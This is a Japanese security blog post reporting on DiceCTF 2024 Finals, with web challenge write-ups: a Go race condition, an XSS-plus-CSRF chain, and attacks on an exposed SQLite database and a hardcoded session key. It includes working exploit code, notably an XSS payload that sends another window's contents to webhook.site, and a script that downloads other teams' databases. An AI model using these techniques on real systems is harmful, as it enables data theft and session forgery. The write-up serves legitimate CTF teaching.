DiceCTF 2024 Finals参加記 & writeup (Web編) - ラック・セキュリティごった煮ブログ

ラック・セキュリティごった煮ブログ

セキュリティエンジニアがエンジニアの方に向けて、 セキュリティやIT技術に関する情報を発信していくアカウントです。

【お知らせ】2021年5月10日~リニューアルオープン!今後はこちらで新しい記事を公開します。

株式会社ラックのセキュリティエンジニアが、 エンジニアの方向けにセキュリティやIT技術に関する情報を発信するブログです。(編集:株式会社ラック・デジタルペンテスト部)
当ウェブサイトをご利用の際には、こちらの「サイトのご利用条件」をご確認ください。

デジタルペンテスト部提供サービス:ペネトレーションテスト

DiceCTF 2024 Finals参加記 & writeup (Web編)

こんにちは、デジタルペンテスト部(DP部)のst98です。

2024年6月29日(土)から2024年6月30日(日)にかけて、アメリカ・ニューヨークで開催されたCTF大会であるDiceCTF 2024 Finalsに、チームBunkyoWesternsのメンバーとして同じくDP部の今井と参加してきました。全世界から1,000チーム以上が参加した予選大会を勝ち抜いて、12チームが決勝大会に参加しましたが、この中でBunkyoWesternsは世界4位という成績を収めました。

www.lac.co.jp

本記事では、DiceCTF 2024 Finalsがどのような大会であったかをお伝えした後に、メンバーが実際に挑戦していた問題について詳細に解説していきます。なお、今回はst98が担当していた、主にWebがテーマの問題について紹介します。今井が担当した問題の解説記事も、後日公開予定です。

競技会場でBunkyoWesternsに用意された机


参加記

DiceCTFについて

DiceCTFは、アメリカの強豪CTFチームDiceGangが、2021年より1年に1回のペースで継続的に開催しているCTF大会です。CTFのポータルサイトであるCTFtime.orgで公開されているランキングを確認してみると、これまで開催されたいずれの大会も1000チーム以上が参加していることがわかり、その人気が伺えます。

これまではオンラインでのみ開催されてきましたが、2024年大会では初めてアメリカ・ニューヨークでオンサイトでの決勝大会が開催されることとなりました*1*2。まず2月にオンラインで予選大会が開催され、このうち上位8チームと、このほか賞品としてシード権が与えられる大会を勝ち抜いた、アメリカ国内の4つの学生チームの、あわせて12チームが決勝大会へと招待されました。BunkyoWesternsは、この2月の予選大会で8位という成績を収め、決勝大会へ参加することとなりました。

DiceCTF決勝大会について

決勝大会は、2024年6月29日(土)から2024年6月30日(日)にかけて開催されました。詳細は後述しますが、1日目はJeopardyというスタンダードな形式の問題が、2日目はAttack and Defense(A&D)等の奇抜な形式の問題が出題されるという形で、各日で8時間ずつ、ルールの異なる競技が実施されました。

BunkyoWesternsは1日目のJeopardyでは5位、2日目は電気電子系の問題であるDiceGirdではなんと1位、dice-diaryでは2位といった上々の結果でした。そして、それらを総合した成績は、世界4位という結果でした!

決勝大会には、BunkyoWesternsからは競技に参加するメンバーとして4名が、また事前に仕様が公開されていた問題の準備*3ロジスティクスのように、競技外の場面でチームを支援するサポートメンバーとして3名が派遣されました。このうち、ラックからはst98と今井の2名が競技に参加しました。st98はWebを、今井は低レイヤの分野をそれぞれ主に担当していました。

今回競技に参加するメンバーとして1名、サポートメンバーとして3名を派遣されていたリチェルカセキュリティさんからも参加記が公開されていますので、ぜひご覧ください。

ricercasecurity.blogspot.com

1日目: Jeopardy Challenges

競技1日目はJeopardy形式が採用されていました。これはCTFではもっともメジャーな形式です。詳しくは以前別の大会(ICC 2022)へ参加した際の参加記で説明しましたが、簡単に言うと運営が用意した様々なカテゴリの問題を解き、FLAG{dummy} のような特定のフォーマットの文字列(フラグ)を見つけて提出すると得点できるルールです。問題の難易度によって得られる点数が異なり、各チームはどれだけ得点を積み重ねられたかを競います。

今回は、以下の5カテゴリからそれぞれ2, 3問ずつ、あわせて11問が出題されていました。また、全チームが解けるような簡単なものから、どのチームも競技時間内に解くことができなかったような難しいものまで、幅広い難易度*4から出題されていました。難易度面でもカテゴリの面でも、バランスよく出題されていた印象を受けました。

我々BunkyoWesternsは11問中5問を解き、前述のように競技1日目の順位は5位でした。競技1日目のランキングのうち、上位5チームについては次のとおりです。なかなかの団子状態で、1問につき簡単な問題では50点、普通の問題では100点前後、難しい問題では150点の配点*5である中で、1, 2問の差で順位が決まっていることがわかります。

なお、4位のrev mains frと5位のBunkyoWesternsは同じ450点を得点していましたが、我々より早くこの点数に到達したことから、彼らの方が上位となっています。

# Team Points
1 Blue Water 620
2 *0xA 570
3 idek 520
4 rev mains fr 450
5 BunkyoWesterns 450

順調な滑り出しであり、上位チームとの点差も小さいことから、競技2日目の結果によってはさらに良い順位を目指せる結果となりました。とはいえ、ランキングは上位だけでなく全体的に大きな差はついていません。我々は緊張感を持って2日目も競技に臨むのでした。

さて、本章では、st98が担当していた以下の2問について解説していきます。

  • [Web 50] d (12 solves)
  • [Web 120] jnotes2 (10 solves)

[Web 50] d (12 solves)

d stands for ?

(InstancerのURL)

添付ファイル: d.zip

問題の概要

与えられたInstancerという名前のサービスにアクセスすることで、チームごとに隔離された環境*6でWebアプリがデプロイされます。添付ファイルとして、このWebアプリのソースコードが与えられています。

ディレクトリの構造は次のとおりです。Go言語で書かれており、gateway, credit, finance という3つのマイクロサービスから構成されているようです。各サービスは main.go という1ファイルで完結しており、非常にシンプルです。それぞれのコードを確認していきましょう。

$ tree .
.
├── common
│   └── util.go
├── go.mod
└── services
    ├── credit
    │   └── main.go
    ├── finance
    │   └── main.go
    └── gateway
        └── main.go

5 directories, 5 files

credit/main.go は次のとおりです。8081/tcp でリッスンしており、GET /creditPOST /credit という2つのAPIがあります。このサービスは credit というパラメータを管理しており、GET では現在の値を取得し、POST では任意の数値で増減させることができるようです。なお、credit の初期値は0です。

package main

import (
    "io"
    "log"
    "net/http"
    "strconv"
    "sync"

    "github.com/jimmyl02/d/common"
)

func main() {
    log.Println("welcome to credit!")

    credit := 0
    var creditLock sync.Mutex

    mux := http.NewServeMux()
    mux.HandleFunc("GET /credit", func(w http.ResponseWriter, r *http.Request) {
        creditLock.Lock()
        defer creditLock.Unlock()

        common.Encode(w, credit)
    })
    mux.HandleFunc("POST /credit", func(w http.ResponseWriter, r *http.Request) {
        incAmountBytes, err := io.ReadAll(r.Body)
        if err != nil {
            common.EncodeError(w, "failed to parse body")
            return
        }

        incAmount, err := strconv.Atoi(string(incAmountBytes))
        if err != nil {
            common.EncodeError(w, "failed to parse inc amount")
            return
        }

        creditLock.Lock()
        defer creditLock.Unlock()

        credit += incAmount
        common.Encode(w, "success")
    })

    httpServer := &http.Server{
        Addr:    ":8081",
        Handler: mux,
    }

    log.Println("listening on :8081")
    if err := httpServer.ListenAndServe(); err != nil {
        log.Fatalf("failed to listen: %v", err)
    }
}

finance/main.go は次のとおりです。8082/tcp でリッスンしており、GET /balancePOST /withdraw という2つのAPIがあります。このサービスは balance というパラメータを管理しており、GET では現在の値を取得し、POST では値を増減させることができるようです。ただし、balance を引き出す際には 0 より下回ることはできません。なお、balance の初期値は100です。

package main

import (
    "io"
    "log"
    "net/http"
    "strconv"
    "sync"

    "github.com/jimmyl02/d/common"
)

func main() {
    log.Println("welcome to finance!")

    // set the initial balance of 100
    balance := 100
    var balanceLock sync.Mutex

    mux := http.NewServeMux()
    mux.HandleFunc("GET /balance", func(w http.ResponseWriter, r *http.Request) {
        common.Encode(w, balance)
    })
    mux.HandleFunc("POST /withdraw", func(w http.ResponseWriter, r *http.Request) {
        withdrawAmountBytes, err := io.ReadAll(r.Body)
        if err != nil {
            common.EncodeError(w, "failed to parse body")
            return
        }

        withdrawAmount, err := strconv.Atoi(string(withdrawAmountBytes))
        if err != nil {
            common.EncodeError(w, "failed to parse inc amount")
            return
        }

        // withdraw the amount on the balance
        balanceLock.Lock()
        defer balanceLock.Unlock()

        if balance >= withdrawAmount {
            balance -= withdrawAmount
            common.Encode(w, "success")
            return
        } else {
            common.EncodeError(w, "insufficient funds")
            return
        }
    })

    httpServer := &http.Server{
        Addr:    ":8082",
        Handler: mux,
    }

    log.Println("listening on :8082")
    if err := httpServer.ListenAndServe(); err != nil {
        log.Fatalf("failed to listen: %v", err)
    }
}

最後に、gateway/main.go は次のとおりです。80/tcp でリッスンしています。incCreditgetCredit という関数で、ここまでで確認した creditfinance の2つのサービスのAPIを利用している様子がわかります。

GET /flagPOST /buy という2つのAPIがあります。GET /flag は、 credit が6以上である場合にフラグを返します。POST /buy は、balance を100引き出す代わりに credit を1増やしています。このとき、Go言語の defer ステートメントを活用して、APIの呼び出しが失敗した場合にはそれまでの creditbalance の増減をロールバックするような処理があることがわかります。

package main

import (
    "encoding/json"
    "errors"
    "log"
    "net/http"
    "strconv"
    "strings"

    "github.com/jimmyl02/d/common"
)

const (
    CREDIT_API  = "http://127.0.0.1:8081"
    FINANCE_API = "http://127.0.0.1:8082"
)

func withdrawFinance(amount int) error {
    resp, err := http.Post(FINANCE_API+"/withdraw", "text/plain", strings.NewReader(strconv.Itoa(amount)))
    if err != nil {
        return err
    }
    defer resp.Body.Close()

    var body common.RequestResponse[string]
    if err := json.NewDecoder(resp.Body).Decode(&body); err != nil {
        return err
    }

    if !body.Success {
        return errors.New("unsuccessful withdraw finance")
    }

    return nil
}

func incCredit(amount int) error {
    resp, err := http.Post(CREDIT_API+"/credit", "text/plain", strings.NewReader(strconv.Itoa(amount)))
    if err != nil {
        return err
    }
    defer resp.Body.Close()

    var body common.RequestResponse[string]
    if err := json.NewDecoder(resp.Body).Decode(&body); err != nil {
        return err
    }

    if !body.Success {
        return errors.New("unsuccessful increase credit")
    }

    return nil
}

func getCredit() (int, error) {
    resp, err := http.Get(CREDIT_API + "/credit")
    if err != nil {
        return 0, err
    }
    defer resp.Body.Close()

    var body common.RequestResponse[int]
    if err := json.NewDecoder(resp.Body).Decode(&body); err != nil {
        return 0, err
    }

    if !body.Success {
        return 0, errors.New("unsuccessful get credit request")
    }

    return body.Data, nil
}

func main() {
    log.Println("welcome to gateway!")

    mux := http.NewServeMux()
    mux.HandleFunc("GET /flag", func(w http.ResponseWriter, r *http.Request) {
        credit, err := getCredit()
        if err != nil {
            common.EncodeError(w, "something wrong")
            return
        }

        if credit > 5 {
            common.Encode(w, "dice{}")
            return
        }

        common.Encode(w, "no!")
    })

    mux.HandleFunc("POST /buy", func(w http.ResponseWriter, r *http.Request) {
        undoStack := []func(){}
        defer func() {
            for _, undoFunc := range undoStack {
                go undoFunc()
            }
        }()

        err := incCredit(1)
        if err != nil {
            common.EncodeError(w, "something wrong")
            return
        }

        undoStack = append(undoStack, func() {
            incCredit(-1)
        })

        err = withdrawFinance(100)
        if err != nil {
            common.EncodeError(w, "something wrong")
            return
        }

        undoStack = append(undoStack, func() {
            withdrawFinance(-100)
        })

        undoStack = nil
        common.Encode(w, "success!")
    })

    httpServer := &http.Server{
        Addr:    ":80",
        Handler: mux,
    }

    log.Println("listening on :80")
    if err := httpServer.ListenAndServe(); err != nil {
        log.Fatalf("failed to listen: %v", err)
    }
}

さて、これでこの問題の目的は credit を6以上の状態にした上で gatewayGET /flag を呼び出すことだとわかりました。creditgatewayPOST /buy を呼び出すことで増やせますが、残念ながら balance の初期値が100であることから、このままでは最大で1しか credit を増やすことができません。

では、直接 creditfinance のサービスのAPIを呼び出して creditbalance の値を増やせばよいのではないか、と考えてしまいますが、そう簡単にはいきません。Instancerで試しにこのWebアプリを立ち上げてみると、gateway にはアクセスできるものの、ほかの2つのサービスのポートは開いておらずアクセスできません。Host ヘッダの変更等も試みますが、どうしてもアクセスできません。gateway でだけなんとかしろということのようです。そんなことはできるのでしょうか。

Race Conditionでcreditを増やす

gateway でなんとかしようにも、このサービスでなにかパラメータを変更できるAPIというと POST /buy しかありません。また、このAPIはユーザからはパラメータをなにも受け付けておらず、ただ呼び出すことしかできません。

ふと、Race Conditionを起こすことができるのではないかと考えました。つまり、同時に POST /buy を叩く複数のリクエストを送ることで、creditbalance の値に不整合が起こるのではないかと考えました。試してみましょう。以下のようなシェルスクリプトの関数を用意し、f & g & f & g & … のようにして同時に複数回 POST /buyGET /flag を叩いてみます。

BASE=https://(省略)
f() {
    curl -X POST $BASE/buy
}

g() {
    curl $BASE/flag
}

すると、どこかのタイミングで条件を満たしたらしく、フラグが得られました。

…
{"success":true,"data":"dice{d1str1bu7ed_7Rans4ct1ons_Ar3_hArd_:(}","error":""}
{"success":false,"data":"","error":"something wrong"}
{"success":false,"data":"","error":"something wrong"}
{"success":true,"data":"dice{d1str1bu7ed_7Rans4ct1ons_Ar3_hArd_:(}","error":""}
{"success":false,"data":"","error":"something wrong"}
{"success":false,"data":"","error":"something wrong"}
{"success":true,"data":"dice{d1str1bu7ed_7Rans4ct1ons_Ar3_hArd_:(}","error":""}
{"success":false,"data":"","error":"something wrong"}
…
dice{d1str1bu7ed_7Rans4ct1ons_Ar3_hArd_:(}

原因を探る

フラグは得られましたが、なぜこのようなことが起こったのかが気になります。調べてみましょう。

creditfinance の各サービスについて、それぞれAPIが叩かれると creditbalance の値をログとして出力するようにします。ローカルでWebアプリを立ち上げ、先ほどの攻撃をローカルに対して試みます。すると、balance は100しかないにもかかわらず、以下のように credit が1ずつ増えている様子が観測できました。

$ go run main.go
2024/07/18 19:49:44 welcome to credit!
2024/07/18 19:49:44 listening on :8081
2024/07/18 19:49:57 credit: 0
2024/07/18 19:49:57 credit: 1
2024/07/18 19:49:57 credit: 2
…
$ go run main.go
2024/07/18 19:49:44 welcome to finance!
2024/07/18 19:49:44 listening on :8082
2024/07/18 19:49:57 balance: 100
2024/07/18 19:49:57 balance: 100
2024/07/18 19:49:57 balance: 100
…

今回はGo言語の net/http パッケージを用いてWebアプリが作られていました。net/http パッケージは、複数のリクエストを同時に処理できるようになっていますgatewayPOST /buy ではAPIの呼び出しに失敗した際にはロールバックがなされるようになっていましたが、creditbalance の値を参照する際にロックはされていませんでした。このために、finance において balance が引き出されようとした際に、複数のリクエストにおいて「現在の balance は100であるから、引き出しが可能だ」と判断されてしまうのでした。

[Web 120] jnotes2 (10 solves)

I fixed my favorite note taking app

(問題サーバとAdmin botのURL)

添付ファイル: handout.tar, adminbot.js

問題の概要

メモアプリを作ったようです。今回は全チームでひとつの問題サーバの環境を共有しています。このほかにAdmin botというサービスのURLが提供されていますが、これはユーザがURLを入力することで、Webブラウザによって自動で巡回してくれるというものです。このブラウザがCookie等にフラグを含んでおり、このWebアプリに存在しているXSS等のクライアント側の脆弱性を用いて盗み出すことが目的なのでしょう。

このWebアプリは、次のスクリーンショットからもわかるように、非常にシンプルな作りのメモアプリです。Markdown形式で、一度に最大ひとつのメモを保存できるようになっています。

サーバ側のソースコードは次のとおりです。JavalinというWebフレームワークが用いられています。Cookieはサーバサイドセッションで保存されていますが、このセッションIDが含まれるCookieについて、HttpOnly 属性は true, Secure 属性も true, SameSite 属性は Strict と非常に厳しい設定がなされています。ほか、MarkdownのHTMLへの変換には sirthias/pegdown というライブラリが用いられているようです。

package dev.arxenix;

import io.javalin.Javalin;
import org.eclipse.jetty.http.HttpCookie;
import org.eclipse.jetty.server.session.SessionHandler;
import org.pegdown.Parser;
import org.pegdown.PegDownProcessor;

public class App {
    public static String DEFAULT_NOTE = "# Hello world!\r\n_This is a note-taking app, now with markdown support!_";
    public static PegDownProcessor pegDownProcessor = new PegDownProcessor(Parser.SUPPRESS_ALL_HTML);

    static SessionHandler secureSessionHandler() {
        final SessionHandler sessionHandler = new SessionHandler();
        sessionHandler.setHttpOnly(true);
        sessionHandler.setSecureRequestOnly(true);
        sessionHandler.setSameSite(HttpCookie.SameSite.STRICT);
        return sessionHandler;
    }

    public static void main(String[] args) {
        var app = Javalin.create(config -> {
            config.jetty.modifyServletContextHandler(handler -> handler.setSessionHandler(secureSessionHandler()));
        });

        app.get("/note", ctx -> {
            var note = ctx.sessionAttribute("note");
            note = note == null ? DEFAULT_NOTE : note;
            note = pegDownProcessor.markdownToHtml(note.toString());
            ctx.contentType("text/plain");
            ctx.result(note.toString());
        });

        app.get("/", ctx -> {
            ctx.html("""…""");
        });

        app.post("/create", ctx -> {
            var note = ctx.formParam("note");
            if (note != null) {
                ctx.sessionAttribute("note", note);
            }
            ctx.redirect("/");
        });

        app.start(1337);
    }
}

Admin botソースコードも添付されていました。まずこのメモアプリを開き、フラグを内容とするメモを作成しています。その後でユーザが入力したURLにアクセスするようです。巡回対象のURLについては、http://https:// から始まっていることだけを確認しており*7、問題サーバのものでなくとも、たとえば https://example.com のようなまったく関係のないものでも問題ないようです。

import flag from './flag.txt'

function sleep(time) {
  return new Promise(resolve => {
    setTimeout(resolve, time)
  })
}

export default {
  name: 'jnotes2 admin bot',
  urlRegex: /^https?:\/\/.*\//,
  timeout: 15000,
  handler: async (url, ctx) => {
    const page = await ctx.newPage();
    await page.goto('https://(問題サーバのURL)', { timeout: 3000, waitUntil: 'domcontentloaded' });
    await page.type('textarea[name="note"]', `# ${flag}`);
    await page.click('button[type="submit"]');
    await sleep(1000);
    await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' });
    await sleep(10000);
  }
}

XSSCSRFもできるけれども…

このWebアプリに存在する脆弱性を探していきましょう。まずMarkdownからHTMLへの変換時にXSSが発生しないか気になります。素直にHTMLタグが使えないか調べるために a<script>alert(123)</script>b を入力してみましたが、変換後のHTMLは <p>aalert(123)b</p> と無害化されてしまっています。

では、Markdownの文法を使ってXSSはできないでしょうか。たとえば、![a" onerror="alert(123)](hoge.png) のようなメモではどうでしょうか。試してみると、以下のように alert が表示されました。変換後のHTMLは <p><img src="hoge.png" alt="a" onerror="alert(123)" /></p> のようになっており、どうやら img タグ中で alt 属性へテキストがエスケープされないままに展開されてしまったようです。

このWebアプリにはCSRF対策は施されていませんから、次のようなHTMLでCSRFによって無理やりメモを作成させることもできます。先ほどのXSSと組み合わせれば強力です。

<form method="post" action="http://localhost:1337/create" id="form">
    <textarea rows="20" cols="50" name="note" id="note"></textarea>
</form>
<script>
const payload = btoa('alert(123)');

const note = document.getElementById('note');
note.value = `![" onerror="eval(atob('${payload}'))](a)`;
const form = document.getElementById('form');
form.submit();
</script>

しかしながら、今回の目的である「フラグが書かれたメモを読み取る」ことを考えると、問題があります。前述のようにこのWebアプリでは一度にひとつのメモしか保存できません。Admin botXSSを踏ませるにはCSRFをする必要がありますが、そうするとフラグが書かれたメモが、XSSペイロードを含むメモによって置き換えられてしまいます。目的を達成するためにXSSしたいけれども、XSSすると目的が達成できなくなってしまうわけです。なんとかならないでしょうか。

複数のウィンドウを使うというアイデア

迷走の挙げ句、我々攻撃者のWebページから fetchXMLHttpRequest 等によって直接問題サーバの /note からメモを取得できないかと一瞬考えます。しかしながら、攻撃用のページと問題サーバとはオリジンが異なりますから、Same-Origin Policy(SOP)により当然できません。Cross-Origin Resource Sharing(CORS)のためのヘッダも問題サーバのレスポンスには一切含まれていません。

ふと、オリジンが違うからダメなのであれば、リソースの取得元と取得先のオリジンを合わせてやればよいのではないかと考えました。それが先ほどの問題のためにできないから困っているわけですが、それでもなんとかならないかと考えます。

ひとつ、複数のウィンドウを開くのはどうでしょうか。まず、フラグを含むメモが表示されているウィンドウ(ウィンドウAとします)を開きます。続いて、CSRFによってペイロードを仕込んだ上で、XSSが発火しているウィンドウ(ウィンドウBとします)を開きます。このとき、ウィンドウAとBは当然同じオリジンですから、BからAのリソースにアクセスでき、さらにフラグが得られないでしょうか。

どうやってウィンドウ同士でリソースのやり取りをするかという問題がありますが、たとえばウィンドウAからBをなんらかの方法で開くことで、ウィンドウBからAを window.opener で参照できる関係を作り、window.opener.document.body.innerHTML のようにしてその内容にアクセスできるのではないでしょうか。

解く

方針が固まりました。以下のような手順で攻撃する、exp.htmlexp2.html という2つのexploitを用意します。Admin botが最初にアクセスするのは exp.html です。

  1. exp.html から、window.open で新たなウィンドウで exp2.html を開く
    • このとき、元々のウィンドウをウィンドウA、新しく開かれたウィンドウをウィンドウBとする
  2. ウィンドウA: 問題サーバへリダイレクトする
    • これによって、ウィンドウAではフラグの含まれるメモが表示される
  3. ウィンドウB: exp2.html の処理が始まる。問題サーバを対象にCSRFし、メモの内容をXSSペイロードに書き換える
    • フォームの送信によって、ウィンドウBも問題サーバへリダイレクトされる
    • ウィンドウAではフラグが、ウィンドウBではXSSペイロードが表示されているという状況ができあがった
  4. ウィンドウB: window.opener からウィンドウAを参照し、フラグを得て外部に送信する

exp.html は次のとおりです。

<script>
// 1. exp2.htmlを開く
const w = window.open('/exp2.html', '_blank')
// 2. 1秒後に問題サーバへ移動する
setTimeout(() => { location.href = "https://(問題サーバのURL)/"; }, 1000);
</script>

exp2.html は次のとおりです。

<body>
    <form method="post" action="http://localhost:1337/create" id="form">
        <textarea rows="20" cols="50" name="note" id="note"></textarea>
        <br>
        <button type="submit" id="save">Save notes</button>
    </form>

    <script>
// 4. window.openerからウィンドウAを参照し、フラグを外部に送信するためのペイロード
const payload = btoa(`
setInterval(() => {
    console.log(window.opener.document.body.innerHTML);
    (new Image).src = 'https://webhook.site/…?' + encodeURIComponent((window.opener.document.body.innerHTML));
    }, 500);
`);

// 3. CSRFでメモの内容をXSSのペイロードに書き換え、問題サーバに移動する
const form = document.getElementById('form');
form.action = 'https://(問題サーバのドメイン名)/create'

setTimeout(() => {
    const save = document.getElementById('form');
    note.value = `![" onerror="eval(atob('${payload}'))](a)`;
    form.submit();
}, 2000)
    </script>
</body>

exp.html のURLをAdmin botに与えてしばらく待つと、フラグ*8が指定したURLに送信されました。

dice{ihatejavaihatejavaihatejava_sFqogBP0SWxuL4qT}

2日目: Novelty Challenges

競技2日目は、1日目とは打って変わって「Novelty Challenges」が出題されるとのことでした。このくくりはほかのCTFでは聞いたことがありませんでしたが、いわくチーム同士が攻撃しあうA&Dや、ロックピッキングのような物理的な接触も必要とする問題など、オンラインでは出しづらかったり、Jeopardyとはまったく異なるルールを必要としたりと変わった問題ばかりが出題されるということでした。

具体的には、次の5問が出題されていました。たしかに普通のオンラインCTFではなかなか出しづらい問題ばかりです。いずれの問題も背景からして凝っていますし、それぞれで題材とされている技術についても興味深いものばかりです。

  • dice-diary: Webサービスが提供されるので、脆弱性を探してチーム同士で攻撃をしたり、修正して攻撃を防いだりする
  • DiceGrid: いわく、世界で初めてパワーエレクトロニクスを題材にしたCTFの問題。適切に動作する回路を組み立てることで点数が得られる
  • The Vault: 強盗団のメンバーとなり、監視カメラのハックを起点になんとかしてカジノに侵入し、金庫をピッキングしてフラグを盗み出す
  • DiceSat: 仮想的な人工衛星のプログラムやプロトコルリバースエンジニアリングし、あるターゲットにぶつける
  • Mental Poker: Mental pokerという暗号の問題を題材に、チーム同士で不正にゲームに勝ったり、他チームの不正を指摘したりする

BunkyoWesternsは、前述のようにDiceGridでは1位を獲得したほか、dice-diaryでは2位になることができました。どういった観点やウェイトから総合得点が計算されたのかという情報は運営から開示されていませんが、間違いなく競技2日目のチームメンバー全員の奮闘の結果として、BunkyoWesternsは総合4位を勝ち取りました。

さて、本章では、st98が担当していた以下の問題について解説していきます。

  • dice-diary

dice-diary

A&Dルールについて

競技2日目の開始後にようやくスコアサーバの仕様や点数計算のルール、テーマとなるメモアプリの仕様といった情報が提供されました*9。dice-diaryはA&Dという特殊な問題形式が採用されていましたので、このルールについて紹介します。簡単に言うと、A&D形式は全チームがまったく同じサービスを提供しつつ、お互いに攻撃しあうものです。詳しくは以前ICC 2022に参加した際の記事でも説明しており、本問題でも基本的な部分は変わりませんが、一部相違点があるため本記事でも改めて紹介します。

各チームに同じサービスの稼働しているマシンが用意され、プレイヤーは運営から配布されるSSHの認証情報を使って自由にその環境を変更することができます。サービスには複数の脆弱性が含まれており、各チームは他チームへ攻撃して定期的に更新されるフラグを盗み出しつつ、また他チームからフラグを盗み出されないようにサービスにパッチをあてたりWAFを導入したりと、防御をします。

もうひとつ重要な要素として、SLAがあります。これはサービスが正常に稼働しているかどうかを意味します。定期的に運営がbotを走らせ、ただポートが開いていてアクセス可能かを見るだけでなく、ちゃんとユーザ登録やログインができ、またメモの閲覧や検索といった機能が正常に利用できることまでチェック(このチェックを、以降SLAチェックといいます)されます。大きく挙動を変えてしまうと、SLAチェックで弾かれてしまうおそれがあるわけです。

このような、「SLA」「攻撃」「防御」の3つの観点から各チームに加点や減点がなされます。1チームに対して攻撃が成功するごとに1点を得点でき、またフラグが盗まれず防御に成功しても1点が得られます。最終的な得点は、これらを合計した点数にSLAチェックが成功した割合をかけて計算されます。

なお、SLAチェックや各要素からの加点判定は、5分を1ティックとして定期的に行われます。今回はSLAチェックの一貫としてメモの登録が行われるわけですが、その中に各チーム・各ティックごとに生成されたユニークなフラグが含まれます。他チームへの攻撃によってこのフラグを盗み出しつつ、脆弱性を修正して他チームから盗み出されないようにすればよいわけです。

その他、一般的でなくこの問題に特有のルールとして、"superman patching" は許されないというものがありました。たとえば、フラグフォーマット等をベースにフィルターしてフラグの流出を強引に防いだり、他チームからの攻撃パケットとSLAチェックをなんらかの情報を使って判別して挙動を変えたり*10といった行為は禁止されていました。問題の趣旨に反するためです。

問題の概要

dice-diaryは、Next.jsを使って作成された会員制のメモアプリです。ユーザ登録もしくはログイン後にメモを作成し、自分のメモについて検索したり、メモごとに割り当てられたパーマリンク(例: /post/p-76mg744k)を友達に共有したりできます。細かい点として、管理者のみが使える全ユーザの全メモの検索機能だったり、またユーザ名を検索するとそのユーザのメモ一覧が閲覧できるわけですが、ほかのユーザからはこの一覧に表示されない(secret)なメモを作成できたりといった機能も存在しています*11

脆弱性1: データベースファイルが外部からアクセス可能である

初動として、まず全体像を把握するためにディレクトリの構成を確認しました。もっとも上位のディレクトリにあるファイルを確認している中で、環境変数をファイル中で定義する .env におかしな値が含まれていることに気づきました。

DATABASE_URL ということでデータベースファイルの保存先であるパスを設定しているようですが、なぜか public ディレクトリに配置されています。名前から察するに、外部からもアクセス可能なディレクトリに置いてしまっているのではないでしょうか。

# Environment variables declared in this file are automatically made available to Prisma.
# See the documentation for more detail: https://pris.ly/d/prisma-schema#accessing-environment-variables-from-the-schema

# Prisma supports the native connection string format for PostgreSQL, MySQL, SQLite, SQL Server, MongoDB and CockroachDB.
# See the documentation for all the connection string options: https://pris.ly/d/connection-strings

DATABASE_URL="file:../public/dice-diary.db"

試しに自チームのサーバで /dice-diary.db にアクセスしてみると、データベースファイルがダウンロードできてしまいました。このファイルには、secretなものも含めてメモの情報が含まれています。もちろん、フラグも含まれています。

この脆弱性を使って、他チームのサーバからデータベースファイルをダウンロードしつつ、これに含まれるフラグをスコアサーバに提出するようなexploitを書きました。

import time
import sqlite3
import httpx

# スコアサーバにアクセスするためのトークン
TOKEN = '…'
# スコアサーバにフラグを提出する
def submit(flag):
    with httpx.Client(base_url='https://finals-scores.dicega.ng/') as client:
        r = client.post('/api/v1/flag', json={
            'flag': flag
        }, headers={
            'Authorization': f'Bearer {TOKEN}'
        })
        print(r.text)

# ローカルに保存されたDBファイルからフラグを取り出す
def get_flag():
    con = sqlite3.connect('tmp.db')
    cur = con.cursor()
    res = cur.execute('SELECT id, title, createdAt FROM Post WHERE title like "%flag%" ORDER BY createdAt DESC LIMIT 5')
    result = []
    for id, title, at in res.fetchall():
        row = cur.execute(f'SELECT content FROM PostEntry WHERE id = "{id}"')
        result.append(row.fetchone()[0])
    return result

while True:
    for i in range(12):
        if i == 4:
            continue
        base = f'http://{i}.diary.mc.ax'
        with httpx.Client(base_url=base) as client:
            try:
                # /dice-diary.dbからデータベースをダウンロードする
                r = client.get('/dice-diary.db')
                with open('tmp.db', 'wb') as f:
                    f.write(r.content)
                # 得られたフラグを提出する
                for flag in get_flag():
                    submit(flag)
            except Exception as e:
                print(e)
                continue
    time.sleep(120)

修正は簡単です。dice-diary.dbpublic ディレクトリから移動させたうえで、.env ファイル中の DATABASE_URL で指定されているパスを変更するだけです。サービスを再起動すると、/dice-diary.db からデータベースファイルをダウンロードできないことが確認できました。

# Environment variables declared in this file are automatically made available to Prisma.
# See the documentation for more detail: https://pris.ly/d/prisma-schema#accessing-environment-variables-from-the-schema

# Prisma supports the native connection string format for PostgreSQL, MySQL, SQLite, SQL Server, MongoDB and CockroachDB.
# See the documentation for all the connection string options: https://pris.ly/d/connection-strings

#DATABASE_URL="file:../public/dice-diary.db"
DATABASE_URL="file:../dice-diary.db"

脆弱性2: クライアントセッションの暗号化に固定の鍵が使用されている

本格的にソースコードを読んでいくことにします。便利な関数がまとめられている src/util.ts を見ていると、以下のように環境変数SECRET_KEY、これが定義されていない場合は SECRETSECRETSECRETSECRETSECRETSE を鍵として、AES-256-GCMでデータを暗号化する関数が見つかりました。

先ほど確認した .env では SECRET_KEY は定義されていませんし、全ファイルを検索してみても Dockerfile 等でも SECRET_KEY が定義されている箇所は見当たりません。デフォルトの値がここでの暗号化に使われているのではないでしょうか。

const SECRET_KEY = process.env.SECRET_KEY || "SECRETSECRETSECRETSECRETSECRETSE";

const encrypt = (data: string) => {
  const iv = Buffer.from(crypto.randomBytes(16));
  const cipher = crypto.createCipheriv("aes-256-gcm", SECRET_KEY, iv);
  const enc = cipher.update(data, "utf-8", "base64") + cipher.final("base64");
  return [
    enc,
    iv.toString("base64"),
    cipher.getAuthTag().toString("base64"),
  ].join(".");
};

encrypt 関数とこれに対応する decrypt 関数が使われている箇所を確認します。すると、ログイン処理が行われる src/app/login/page.tsx 中に以下のような処理が見つかりました。ユーザから与えられた認証情報が正しかった場合にCookieへなにか値を設定していますが、このとき util.encrypt(user.id) と、ユーザIDを先ほどの関数で暗号化したものが設定されています。

async function login(formData: FormData) {
  "use server";
  const parsed = schema.safeParse(formData);
  if (!parsed.success) {
    return redirect("/login?message=" + fromError(parsed.error).toString());
  }

  const user = await db.user.findFirst({
    where: { user: parsed.data.user, pass: util.sha256(parsed.data.pass) },
  });

  if (!user) {
    redirect("/login?message=no user was found with that username or password");
  }

  cookies().set("session", util.encrypt(user.id));
  redirect("/home");
}

